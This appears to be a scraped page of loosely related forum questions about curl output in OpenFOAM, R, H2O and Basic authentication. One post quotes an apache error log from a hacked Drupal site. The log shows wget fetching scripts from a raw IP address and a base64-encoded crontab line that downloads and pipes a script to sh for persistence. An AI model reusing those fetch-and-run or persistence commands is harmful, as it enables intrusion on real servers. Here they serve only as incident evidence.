Open Foam Trouble while accessing - openfoam

`
-MacBook-Air ~ % sudo curl -o /usr/local/bin/openfoam-macos-file-system http://d1.openfoam.org/docker/openfoam-macos-file-system
Password:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (6) Could not resolve host: d1.openfoam.org
rahiuppal#rahis-MacBook-Air ~ %
`
While accessing Open Foam I am getting this error, Can anyone help me to sort this out?
Help me to sort this out

Related

Download.file with method curl downloads 0 bytes

When I use the download.file function with method curl I get a downloaded file with 0 bytes.
for example:
download.file('https://github.com/rstudio/rmarkdown/archive/refs/heads/main.zip', destfile='library', method='curl')
Produces the following output:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
character(0)
How can I get this fixed?
Note:
method='wget' works but that is because my Mac has wget, however my windows laptop only has curl as an option, and this does not work. I specifically want to fix the curl method.

Did someone have problems with metaboanalystR CrossReferencing error?

I am trying to run some tutorials of metaboanalystR and I have a problem with function CrossReferencing
mSet<-CrossReferencing(mSet, "name")
[1] "Reading data unsuccessful, attempting to re-download file..."
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 557k 100 557k 0 0 557k 0 0:00:01 0:00:01 --:--:-- 457k
[1] "Loading files from server unsuccessful. Ensure curl is downloaded on your computer."
Error in .read.metaboanalyst.lib("compound_db.rds") :
objeto 'my.lib' no encontrado
I have already install curl, but nothing happens.
Did anyone have the same error?
Thank you

Drupla Site hacked

apache server error_log:
--2018-11-14 22:13:39-- http://164.132.159.56/drupal/zps.sh
Connecting to 164.132.159.56:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 589 [text/x-sh]
Saving to: 'STDOUT'
0K 100% 101M=0s
2018-11-14 22:13:40 (101 MB/s) - written to stdout [589/589]
rm: cannot remove '/var/tmp/yum-ec2-user-_j9uM3': Operation not permitted
rm: refusing to remove '.' or '..' directory: skipping '/var/tmp/.'
rm: refusing to remove '.' or '..' directory: skipping '/var/tmp/..'
--2018-11-14 22:13:40-- http://164.132.159.56/drupal/2/olo
Connecting to 164.132.159.56:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33880 (33K)
Saving to: '/var/tmp/lew'
0K .......... .......... .......... ... 100% 286K=0.1s
2018-11-14 22:13:40 (286 KB/s) - '/var/tmp/lew' saved [33880/33880]
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M100 33880 100 33880 0 0 96119 0 --:--:-- --:--:-- --:--:-- 96250
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
sh: line 1: 22417 Done echo '* * * * * echo -n "d2dldCAtTyAtIGh0dHA6Ly8xNjQuMTMyLjE1OS41Ni9kcnVwYWwvei5zaHxzaA==" | base64 -d |sh > /dev/null'
22418 Killed | crontab -
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
Please tell solution.
Use Hacked module (https://www.drupal.org/project/hacked) for your site.
It will give you report for all files which has been changed recently.
You can either delete those files or resolve their coding.

How does cUrl -u turn username and password into hash?

I'm trying to figure out how safe curl -u is to use with a real username and password. Investigating the header of such a request, it seems the user name and password are turned into some kind of hash.
In the example below, it seems jujuba:lalalala is being turned to anVqdWJhOmxhbGFsYWxh
Is this encryption or compression? Is it safe? How does the recipient decode this data?
curl -u jujuba:lalalala -i -X Get http://localhost:80/api/resource -v
* timeout on name lookup is not supported
* Trying 127.0.0.1...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to localhost (127.0.0.1) port 80 (#0)
* Server auth using Basic with user 'jujuba'
> Get /api/resource HTTP/1.1
> Host: localhost
> Authorization: Basic anVqdWJhOmxhbGFsYWxh
If you run the command:
echo anVqdWJhOmxhbGFsYWxh | base64 -d
You will get jujuba:lalala showing that the content is just Base-64 encoded, which is the standard for Basic authentication.
You should use HTTPS for any site that requires authentication.

Cannot connect to h20 in R using h2o.init()

I'm trying to connect to h20 for the first time in R Studio with the following command:
library(h2o)
h2o.init()
R Versions 2.3.2 and h20 version 3.10.2.2. Any idea on how to fix this so I can connect?
H2O is not running yet, starting it now...
running command ''/usr/bin/java' -version 2>&1' had status 1
Note: In case of errors look at the following log files:
/var/folders/w7/vpssy9010lg4xxlwkg5f2zwm0000gn/T//RtmpZhyGXB/h2o_chrisstroud_started_from_r.out
/var/folders/w7/vpssy9010lg4xxlwkg5f2zwm0000gn/T//RtmpZhyGXB/h2o_chrisstroud_started_from_r.err
No Java runtime present, requesting install.
Starting H2O JVM and connecting: ............................................................
[1] "localhost"
[1] 54321
[1] TRUE
[1] -1
[1] "Failed to connect to localhost port 54321: Connection refused"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (7) Failed to connect to localhost port 54321: Connection refused
[1] 7
Show Traceback
Error in h2o.init() : H2O failed to start, stopping execution.
If you have proxy enabled, it won't work.
Sys.setenv(https_proxy="")
Sys.setenv(http_proxy="")
Sys.setenv(http_proxy_user="")
Sys.setenv(https_proxy_user="")
fixed it for me.

Resources